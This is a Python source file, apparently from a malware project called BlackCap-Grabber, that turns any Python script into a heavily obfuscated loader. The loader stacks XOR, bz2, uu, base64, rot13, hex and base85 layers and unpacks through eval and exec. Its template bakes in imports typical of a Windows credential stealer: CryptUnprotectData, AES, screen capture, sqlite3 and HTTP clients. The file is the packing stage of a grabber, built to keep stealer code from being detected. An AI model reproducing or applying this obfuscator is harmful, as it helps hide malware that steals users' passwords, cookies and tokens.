BlackCap-Grabber/obfuscation.py

88 lines
6.9 KiB
Python

import os
import base64
import argparse
import codecs
import random
import string
from colorama import Fore
## THIS IS NOT MY CODE I DON'T TAKE ANY CREDIT FOR THIS. I JUST MODIFIED IT TO WORK WITH MY SCRIPTS
class Obfuscator:
def __init__(self, code):
self.code = code
self.__obfuscate()
def __xorED(self, text, key = None):
newstring = ""
if key is None:
key = "".join(random.choices(string.digits + string.ascii_letters, k= random.randint(4, 8)))
if not key[0] == " ":
key = " " + key
for i in range(len(text)):
newstring += chr(ord(text[i]) ^ ord(key[(len(key) - 2) + 1]))
return (newstring, key)
def __encodestring(self, string):
newstring = ''
for i in string:
if random.choice([True, False]):
newstring += '\\x' + codecs.encode(i.encode(), 'hex').decode()
else:
newstring += '\\' + oct(ord(i))[2:]
return newstring
def __obfuscate(self):
xorcod = self.__xorED(self.code)
self.code = xorcod[0]
encoded_code = base64.b64encode(codecs.encode(codecs.encode(self.code.encode(), 'bz2'), 'uu')).decode()
encoded_code = [encoded_code[i:i + int(len(encoded_code) / 4)] for i in range(0, len(encoded_code), int(len(encoded_code) / 4))]
new_encoded_code = []
new_encoded_code.append(codecs.encode(encoded_code[0].encode(), 'uu').decode() + 'u')
new_encoded_code.append(codecs.encode(encoded_code[1], 'rot13') + 'r')
new_encoded_code.append(codecs.encode(encoded_code[2].encode(), 'hex').decode() + 'h')
new_encoded_code.append(base64.b85encode(codecs.encode(encoded_code[3].encode(), 'hex')).decode() + 'x')
self.code = f"""
_____=eval("{self.__encodestring('eval')}");_______=_____("{self.__encodestring('compile')}");______,____=_____(_______("{self.__encodestring("__import__('base64')")}","",_____.__name__)),_____(_______("{self.__encodestring("__import__('codecs')")}","",_____.__name__));____________________=_____("'{self.__encodestring(xorcod[True])}'");________,_________,__________,___________=_____(_______("{self.__encodestring('exec')}","",_____.__name__)),_____(_______("{self.__encodestring('str.encode')}","",_____.__name__)),_____(_______("{self.__encodestring('isinstance')}","",_____.__name__)),_____(_______("{self.__encodestring('bytes')}","",_____.__name__))
def ___________________(__________, ___________):
__________=__________.decode()
_________=""
if not ___________[False]=="{self.__encodestring(' ')}":
___________="{self.__encodestring(' ')}"+___________
for _ in range(_____("{self.__encodestring('len(__________)')}")):
_________+=_____("{self.__encodestring('chr(ord(__________[_])^ord(___________[(len(___________) - True*2) + True]))')}")
return (_________,___________)
def ____________(_____________):
if(_____________[-True]!=_____(_______("'{self.__encodestring('c________________6s5________________6ardv8')}'[-True*4]","",_____.__name__))):_____________ = _________(_____________)
if not(__________(_____________, ___________)):_____________ = _____(_______("{self.__encodestring('____.decode(_____________[:-True]')},'{self.__encodestring('rot13')}')","",_____.__name__))
else:
if(_____________[-True]==_____(_______("b'{self.__encodestring('f5sfsdfauf85')}'[-True*4]","", _____.__name__))):
_____________=_____(_______("{self.__encodestring('____.decode(_____________[:-True]')},'{self.__encodestring('uu')}')","",_____.__name__))
elif (_____________[-True] ==_____(_______("b'{self.__encodestring('d5sfs1dffhsd8')}'[-True*4]","", _____.__name__))):_____________=_____(_______("{self.__encodestring('____.decode(_____________[:-True]')},'{self.__encodestring('hex')}')","",_____.__name__))
else:_____________=_____(_______("{self.__encodestring('______.b85decode(_____________[:-True])')}","",_____.__name__));_____________=_____(_______("{self.__encodestring('____.decode(_____________')}, '{self.__encodestring('hex')}')","",_____.__name__))
_____________=_____(_______("{self.__encodestring('___________.decode(_____________)')}","",_____.__name__))
return _____________
_________________=_____(_______("{self.__encodestring('___________.decode')}({self.__encodestring(new_encoded_code[True*3]).encode()})","",_____.__name__));________________ = _____(_______("{self.__encodestring('___________.decode')}({self.__encodestring(new_encoded_code[1]).encode()})","",_____.__name__));__________________=_____(_______("{self.__encodestring('___________.decode')}({self.__encodestring(new_encoded_code[True*2]).encode()})","",_____.__name__));______________=_____(_______("{self.__encodestring('___________.decode')}({self.__encodestring(new_encoded_code[False]).encode()})","",_____.__name__));_______________=_____(_______("{self.__encodestring('str.join')}('', {self.__encodestring('[____________(x) for x in [______________,________________,__________________,_________________]]')})","", _____.__name__));________(___________________(____.decode(____.decode(______.b64decode(_________(_______________)), "{self.__encodestring("uu")}"),"{self.__encodestring("bz2")}"),____________________)[_____("{self.__encodestring('False')}")])\nimport asyncio, json, ntpath, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, base64, requests, ctypes, time;from sqlite3 import connect;from base64 import b64decode;from urllib.request import Request, urlopen;from shutil import copy2;from datetime import datetime, timedelta, timezone;from sys import argv;from tempfile import gettempdir, mkdtemp;from json import loads, dumps;from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData"""
def main():
parser = argparse.ArgumentParser()
parser.add_argument('FILE', help='the target file', metavar= 'SOURCE')
parser.add_argument('-o', metavar='path', help='custom output file path')
args = parser.parse_args()
if args.o is None:
args.o = f'obfuscated_{os.path.basename(args.FILE)}'
if not os.path.isfile(args.FILE):
print(f'File "{os.path.basename(args.FILE)}" is not found')
exit()
elif not 'py' in os.path.basename(args.FILE).split('.')[-1]:
print(f'''File "{os.path.basename(args.FILE)}" is not a '.py' file''')
exit()
with open(args.FILE, encoding='utf-8') as file:
CODE = file.read()
obfuscator = Obfuscator(CODE)
with open(args.o, 'w', encoding='utf-8') as output_file:
output_file.write(obfuscator.code)
print(f'{Fore.MAGENTA}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.MAGENTA}]{Fore.RESET}{Fore.WHITE} Code obfuscated!{Fore.RESET}')
if __name__ == '__main__':
main()